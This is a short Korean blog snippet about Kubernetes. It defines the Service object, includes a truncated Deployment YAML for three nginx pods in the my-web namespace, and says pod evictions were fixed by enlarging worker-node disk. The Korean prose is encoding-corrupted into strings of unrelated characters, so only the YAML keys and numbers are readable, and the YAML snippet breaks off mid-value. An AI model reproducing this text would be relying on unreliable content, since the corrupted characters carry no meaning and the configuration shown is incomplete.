๊ฐœ๋… Service๋Š” Pod์„ ์™ธ๋ถ€์—์„œ ์ ‘์†ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ์˜ค๋ธŒ์ ํŠธ์ด๋‹ค. ํ™˜๊ฒฝ๊ตฌ์„ฑ deploy.yaml ๋‹ค์Œ์€ ์˜ˆ์ œ์— ์‚ฌ์šฉ๋œ nginx pod์„ 3๊ฐœ ์ƒ์„ฑํ•˜๋Š” deployment ํŒŒ์ผ์ด๋‹ค. ์ปจํ…Œ์ด๋„ˆ ์ƒ์„ฑ์„ ํฌํ•จํ•˜๋ฉฐ pod๊ฐ€ replicas์— ์˜ํ•ด 3๊ฐœ ์ƒ์„ฑ๋œ๋‹ค. labes๋ผ๋Š” ๊ฒƒ์„ ์ด์šฉํ•˜์—ฌ ์—ฐ๊ด€๊ด€๊ณ„ ์ƒ์„ฑํ•œ๋‹ค. apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment namespace: my-web # ๋„ค์ž„์ŠคํŽ˜์ด์Šค ์ถ”๊ฐ€ labels: app: nginx-deployment spec: replicas: 3 selector: matchLabels: app: nginx-pod template: metadata: labels: app: ngi..

๊ธฐํƒ€์ •๋ณด

[์ •๋ณด] ์ฟ ๋ฒ„๋„คํ‹ฐ์Šค pod Evicted - ํ•˜๋“œ๋””์Šคํฌ ๋ถ€์กฑ

๋‚˜์˜ ๋นจ๊ฐ„ pod๋“ค ํ˜ผ์ž์„œ ์žฌ๊ธฐ๋™์„ ๋ฐ˜๋ณตํ•œ๋‹ค. ์„œ๋น„์Šค๊ฐ€ ์‚ด์•„๋‚ฌ๋‹ค ์ฃฝ์—ˆ๋‹ค ํ•œ๋‹ค. ๊ทธ ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•์€ ๋””์Šคํฌ ์šฉ๋Ÿ‰ ์ฆ์„ค! ๋‚˜์˜ ๊ฒฝ์šฐ ์ตœ์†Œ ์›Œ์ปค๋…ธ๋“œ์— 32gb์—์„œ 160gb๋กœ ํ• ๋‹นํ•ด์ฃผ๋‹ˆ๊นŒ ์ •์ƒ์ ์œผ๋กœ ๋Œ์•„์™”๋‹ค

TwoIceFish
Cyber-Luna